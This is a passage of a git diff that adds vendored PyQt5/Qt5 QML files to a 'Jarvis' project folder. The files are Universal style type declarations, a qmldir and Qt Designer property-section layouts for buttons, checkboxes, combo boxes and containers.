"Green": 1, + "Emerald": 2, + "Teal": 3, + "Cyan": 4, + "Cobalt": 5, + "Indigo": 6, + "Violet": 7, + "Pink": 8, + "Magenta": 9, + "Crimson": 10, + "Red": 11, + "Orange": 12, + "Amber": 13, + "Yellow": 14, + "Brown": 15, + "Olive": 16, + "Steel": 17, + "Mauve": 18, + "Taupe": 19 + } + } + Property { name: "theme"; type: "Theme" } + Property { name: "accent"; type: "QVariant" } + Property { name: "foreground"; type: "QVariant" } + Property { name: "background"; type: "QVariant" } + Property { name: "altHighColor"; type: "QColor"; isReadonly: true } + Property { name: "altLowColor"; type: "QColor"; isReadonly: true } + Property { name: "altMediumColor"; type: "QColor"; isReadonly: true } + Property { name: "altMediumHighColor"; type: "QColor"; isReadonly: true } + Property { name: "altMediumLowColor"; type: "QColor"; isReadonly: true } + Property { name: "baseHighColor"; type: "QColor"; isReadonly: true } + Property { name: "baseLowColor"; type: "QColor"; isReadonly: true } + Property { name: "baseMediumColor"; type: "QColor"; isReadonly: true } + Property { name: "baseMediumHighColor"; type: "QColor"; isReadonly: true } + Property { name: "baseMediumLowColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeAltLowColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeBlackHighColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeBlackLowColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeBlackMediumLowColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeBlackMediumColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeDisabledHighColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeDisabledLowColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeHighColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeLowColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeMediumColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeMediumLowColor"; type: "QColor"; isReadonly: true } + Property { name: "chromeWhiteColor"; type: "QColor"; isReadonly: true } + Property { name: "listLowColor"; type: "QColor"; isReadonly: true } + Property { name: "listMediumColor"; type: "QColor"; isReadonly: true } + Signal { name: "paletteChanged" } + Method { + name: "color" + type: "QColor" + Parameter { name: "color"; type: "Color" } + } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Universal.impl/CheckIndicator 2.0" + exports: ["QtQuick.Controls.Universal.impl/CheckIndicator 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QQuickItem"; isPointer: true } + Property { name: "partiallyChecked"; type: "bool"; isReadonly: true } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Universal.impl/RadioIndicator 2.0" + exports: ["QtQuick.Controls.Universal.impl/RadioIndicator 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QVariant" } + } + Component { + prototype: "QQuickItem" + name: "QtQuick.Controls.Universal.impl/SwitchIndicator 2.0" + exports: ["QtQuick.Controls.Universal.impl/SwitchIndicator 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QQuickItem"; isPointer: true } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/qmldir new file mode 100644 index 00000000..6870a4e1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/qmldir @@ -0,0 +1,4 @@ +module QtQuick.Controls.Universal +plugin qtquickcontrols2universalstyleplugin +classname QtQuickControls2UniversalStylePlugin +depends QtQuick.Controls 2.5 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/qtquickcontrols2universalstyleplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/qtquickcontrols2universalstyleplugin.dll new file mode 100644 index 00000000..b73d8106 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/qtquickcontrols2universalstyleplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/VerticalHeaderView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/VerticalHeaderView.qml new file mode 100644 index 00000000..3fc9ca5a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/VerticalHeaderView.qml @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Templates 2.15 as T + +T.VerticalHeaderView { + id: control + + implicitWidth: contentWidth + implicitHeight: syncView ? syncView.height : 0 + + delegate: Rectangle { + // Qt6: add cellPadding (and font etc) as public API in headerview + readonly property real cellPadding: 8 + + implicitWidth: Math.max(control.width, text.implicitWidth + (cellPadding * 2)) + implicitHeight: text.implicitHeight + (cellPadding * 2) + color: "#f6f6f6" + border.color: "#e4e4e4" + + Text { + id: text + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] + : model[control.textRole]) + : modelData + width: parent.width + height: parent.height + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: "#ff26282a" + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/AbstractButtonSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/AbstractButtonSection.qml new file mode 100644 index 00000000..e8aa39c2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/AbstractButtonSection.qml @@ -0,0 +1,118 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("AbstractButton") + + SectionLayout { + Label { + text: qsTr("Text") + tooltip: qsTr("The text displayed on the button.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.text + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Display") + tooltip: qsTr("Determines how the icon and text are displayed within the button.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.display + model: [ "IconOnly", "TextOnly", "TextBesideIcon" ] + scope: "AbstractButton" + Layout.fillWidth: true + } + } + + Label { + visible: checkable + text: qsTr("Checkable") + tooltip: qsTr("Whether the button is checkable.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.checkable.valueToString + backendValue: backendValues.checkable + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Checked") + tooltip: qsTr("Whether the button is checked.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.checked.valueToString + backendValue: backendValues.checked + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Exclusive") + tooltip: qsTr("Whether the button is exclusive.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.autoExclusive.valueToString + backendValue: backendValues.autoExclusive + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Repeat") + tooltip: qsTr("Whether the button repeats while pressed and held down.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.autoRepeat.valueToString + backendValue: backendValues.autoRepeat + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/BusyIndicatorSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/BusyIndicatorSpecifics.qml new file mode 100644 index 00000000..7ae927fc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/BusyIndicatorSpecifics.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("BusyIndicator") + + SectionLayout { + Label { + text: qsTr("Running") + tooltip: qsTr("Whether the busy indicator is currently indicating activity.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.running.valueToString + backendValue: backendValues.running + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ButtonSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ButtonSection.qml new file mode 100644 index 00000000..fef46071 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ButtonSection.qml @@ -0,0 +1,80 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + id: section + caption: qsTr("Button") + + SectionLayout { + Label { + text: qsTr("AutoRepeat") + tooltip: qsTr("Whether the button repeats pressed(), released() and clicked() signals while the button is pressed and held down.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.autoRepeat.valueToString + backendValue: backendValues.autoRepeat + Layout.fillWidth: true + } + } + Label { + text: qsTr("Flat") + tooltip: qsTr("Whether the button is flat.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.flat.valueToString + backendValue: backendValues.flat + Layout.fillWidth: true + } + } + Label { + text: qsTr("Highlighted") + tooltip: qsTr("Whether the button is highlighted.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.highlighted.valueToString + backendValue: backendValues.highlighted + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ButtonSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ButtonSpecifics.qml new file mode 100644 index 00000000..e094b9df --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ButtonSpecifics.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ButtonSection { + width: parent.width + } + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/CheckBoxSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/CheckBoxSpecifics.qml new file mode 100644 index 00000000..f76aa215 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/CheckBoxSpecifics.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + CheckSection { + width: parent.width + caption: qsTr("CheckBox") + } + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/CheckDelegateSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/CheckDelegateSpecifics.qml new file mode 100644 index 00000000..1df55e11 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/CheckDelegateSpecifics.qml @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + CheckSection { + width: parent.width + caption: qsTr("CheckDelegate") + } + + ItemDelegateSection { + width: parent.width + } + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/CheckSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/CheckSection.qml new file mode 100644 index 00000000..76cde03e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/CheckSection.qml @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + SectionLayout { + Label { + text: qsTr("Check State") + tooltip: qsTr("The current check state.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.checkState + model: [ "Unchecked", "PartiallyChecked", "Checked" ] + scope: "Qt" + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Tri-state") + tooltip: qsTr("Whether the checkbox has three states.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.tristate.valueToString + backendValue: backendValues.tristate + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ComboBoxSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ComboBoxSpecifics.qml new file mode 100644 index 00000000..8a5e33b6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ComboBoxSpecifics.qml @@ -0,0 +1,119 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("ComboBox") + + SectionLayout { + Label { + text: qsTr("Text Role") + tooltip: qsTr("The model role used for displaying text.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.textRole + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Current") + tooltip: qsTr("The index of the current item.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.currentIndex + Layout.fillWidth: true + } + } + Label { + text: qsTr("Editable") + tooltip: qsTr("Whether the combo box is editable.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.editable.valueToString + backendValue: backendValues.editable + Layout.fillWidth: true + } + } + Label { + text: qsTr("Flat") + tooltip: qsTr("Whether the combo box button is flat.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.flat.valueToString + backendValue: backendValues.flat + Layout.fillWidth: true + } + } + Label { + text: qsTr("DisplayText") + tooltip: qsTr("Holds the text that is displayed on the combo box button.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.displayText + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ContainerSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ContainerSection.qml new file mode 100644 index 00000000..896804c0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ContainerSection.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Container") + + SectionLayout { + Label { + text: qsTr("Current") + tooltip: qsTr("The index of the current item.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.currentIndex + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ControlSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ControlSection.qml new file mode 100644 index 00000000..3446c08f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ControlSection.qml @@ -0,0 +1,108 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Control") + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Whether the control is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.enabled.valueToString + backendValue: backendValues.enabled + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Focus Policy") + tooltip: qsTr("Focus policy of the control.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.focusPolicy + model: [ "TabFocus", "ClickFocus", "StrongFocus", "WheelFocus", "NoFocus" ] + scope: "Qt" + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Hover") + tooltip: qsTr("Whether control accepts hover events.") + } + SecondColumnLayout { + CheckBox { + text: 